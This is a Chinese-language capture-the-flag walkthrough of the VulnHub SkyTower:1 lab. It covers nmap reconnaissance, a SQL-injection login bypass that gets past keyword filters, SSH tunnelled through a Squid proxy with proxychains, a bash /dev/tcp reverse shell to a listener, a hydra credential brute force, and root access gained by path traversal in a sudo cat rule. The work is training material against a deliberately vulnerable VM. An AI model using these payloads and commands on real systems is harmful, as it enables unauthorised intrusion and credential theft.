SkyTower1靶场练习&小白向&靶场安装&sql语句被过滤&万能SQL密码

下载链接:

SkyTower: 1 ~ VulnHub

安装:

下载解压后打开vxbox,新建虚拟机,系统选择linux,使用已有虚拟硬盘文件

选择解压后的vdi文件

后直接创建

设置中的网络链接模式根据自己情况定

我这里选择的是桥接模式

完成后直接启动即可

正文:

先用nmap扫描靶机ip

复制代码
nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到skytower1文件夹下,命名为port方便后续查看

复制代码
nmap -p- 192.168.1.4 -r -PN -oA skytower1/port

(-p-:对所有端口进行探测

-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

-oA:输出到指定位置

-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到skytower1文件夹下,命名为server方便后续查看

复制代码
nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server

(-p:对指定的端口进行探测

-sV:版本信息

-sC:默认脚本扫描

-A:启动Os检测,版本检测,脚本扫描和traceroute

-O:探测操作系统信息

--version-all:尽可能多的探测信息)

经过查询得知3128端口为一个代理端口,结合22端口的状态为filtered,那么大概率22端口是被过滤掉了

使用默认漏洞脚本对端口进行探测

复制代码
nmap -p 22,80,3128 192.168.1.4 --script=vuln

我们发现80端口下的login.php有sql注入漏洞,注入点为email

访问80端口

是个朴实无华的登录框

进行目录扫描,并没有新发现

复制代码
dirsearch -u "192.168.1.4"

既然这里有sql注入,打开bp抓包,抓取登录数据包

将该数据保存到sqlmap目录下的1.txt,然后运行sqlmap进行注入尝试

复制代码
python sqlmap.py -r 1.txt --dbs --batch

注入失败,我们进行抓包手动尝试

右键将该数据发送到重放器中

在重放器中修改emali参数,在emali参数后加单引号

证实了这里确实有sql注入漏洞

既然sqlmap跑不出来,那我们进行万能密码尝试

复制代码
admin'+or+'1'='1

同样不可行,换一种万能密码

复制代码
admin'+or+'1'='1'--+

根据返回的信息得知,万能密码的or位置被替换为了空格并且等于号也被过滤掉了

将or双写以及等于号替换为like再次进行尝试

复制代码
admin'+oorr+'1'like'1'--+

后面的 --+同样被屏蔽掉了,那将--+去掉,并删除最后一个单引号,让他重新进行闭合状态

复制代码
admin'+oorr+'1'like'1

看样子是登录成功了,返回80界面进行尝试

登陆失败?

打开bp抓登陆包,然后再bp中修改发包信息

进行发包尝试

登录成功

获取到一个账号以及密码

复制代码
john:hereisjohn

获取shell

尝试进行ssh登录

但是是没法登陆的,因为在最开始的nmap扫描结果中,22端口是被过滤掉的,但是3128端口是一个代理端口,那我们可以尝试下用该端口进行代理访问22端口

先打开proxychains的配置文件进行配置代理

复制代码
vim /etc/proxychains.conf

在最下方添加一条(单机键盘上的"i"键即可进行修改操作,修改完成后按"esc"然后输":wq"即可保存退出)

复制代码
http 192.168.1.4 3128

并且把socks4这一条进行屏蔽(在指令前加井号即可屏蔽)

保存退出

先用nmap进行扫描对我们的猜想进行验证

复制代码
proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT

果然,22端口状态变为open

尝试对我们获取到的账号密码进行登录

john:hereisjohn

复制代码
proxychains ssh john@192.168.1.4

登是登录上了,但是我们被直接退出来了

但是在进行ssh登陆时可以携带一条指令

再次进行尝试

复制代码
proxychains ssh john@192.168.1.4 whoami

既然可以执行,那我们执行一个反弹shell

新打开一个窗口进行nc监听

复制代码
nc -lvvp 8080

然后回到刚才的窗口进行反弹shell

复制代码
proxychains ssh john@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

输入密码

回到nc

反弹成功

经过查询,在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首

查看该文件

复制代码
cat .bashrc

是不是很熟悉?我们之前直接进行ssh登录时返回的语句可不就是这个么

我们对该文件直接重命名给或者删除

复制代码
mv .bashrc .bashrc.bak

然后退出nc,回到ssh界面,再次尝试登录

复制代码
proxychains ssh john@192.168.1.4

登录成功

提权

查看具有suid权限的文件,看下有没有什么提权可以用的文件

复制代码
find / -perm -u=s -type f 2>/dev/null

查看计划任务

复制代码
cat /etc/crontab

都没有我们可以利用的东西

既然在80端口有sql注入漏洞,那么在login下大概率会有mysql的账号密码

查看下login.php文件进行确认

切换到目录 /var/www

复制代码
cd /var/www

查看login.php文件

复制代码
cat login.php

确实存在,账号密码都为root

我们进行mysql登录

复制代码
mysql -u root -p

输入密码root

登陆成功

查看数据库

复制代码
show databases;
复制代码
show databases;
复制代码
show tables;
复制代码
select * from login;

将账号密码都进行保存

打开新窗口

复制代码
vim user.txt

将账号保存进去

复制代码
vim pass.txt

将密码保存进去

我们可以进行对ssh端口进行挨个尝试

看能不能撞库成功(可以直接在80端口上进行登录,最后也是会获取到同样的账号密码,我这里习惯的先进行撞库)

复制代码
proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v

成功,既然我们登陆过john,那我们再次尝试登录sara

复制代码
proxychains ssh sara@192.168.1.4

既然还是同样的方式给我们提出来了,我们再次用同样的方法进行反弹shell

打开nc监听

复制代码
nc -lvvp 8080
复制代码
proxychains ssh sara@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

反弹成功

同样的方法删除或者重命名.bashrc文件

复制代码
mv .bashrc .bashrc.bak

退出nc,再次尝试ssh登录

复制代码
proxychains ssh sara@192.168.1.4

登陆成功

查看下该用户的权限

既然他又这个权限(用root权限执行/bin/cat /accounts/* 不需要密码)

那我们可以尝试用这个进行提权

复制代码
sudo /bin/cat /accounts/ ../../etc/passwd

发现该方法确实可行

我们可以用该方法去查看下root目录有什么文件,只需要将"cat"替换为"ls"

复制代码
sudo /bin/ls /accounts/ ../../root

有个flag文件,我们进行查看

复制代码
sudo /bin/cat /accounts/ ../../root/flag.txt

root的密码竟然藏在这里

将账户切换为root

复制代码
su root

输入密码theskytower

成功

相关推荐
ajassi20001 分钟前
开源 C++ QT Widget 开发(十五)多媒体--音频播放
linux·c++·qt·开源
睡觉的时候不会困40 分钟前
Redis 主从复制详解:原理、配置与主从切换实战
数据库·redis·bootstrap
JosieBook1 小时前
【远程运维】Linux 远程连接 Windows 好用的软件:MobaXterm 实战指南
linux·运维·windows
文档搬运工1 小时前
Linux MInt启动速度的优化
linux
Broken Arrows2 小时前
Linux学习——管理网络安全(二十一)
linux·学习·web安全
程序员的世界你不懂2 小时前
【Flask】测试平台开发,新增说明书编写和展示功能 第二十三篇
java·前端·数据库
Light602 小时前
领码方案|Linux 下 PLT → PDF 转换服务超级完整版:异步、权限、进度
linux·pdf·可观测性·异步队列·plt转pdf·权限治理·进度查询
自学也学好编程2 小时前
【数据库】Redis详解:内存数据库与缓存之王
数据库·redis
福赖2 小时前
《MySQL基础——用户管理》
mysql·用户管理
鳄鱼杆3 小时前
服务器 | Docker应用开发与部署的实践以及阿里云镜像加速配置
服务器·阿里云·docker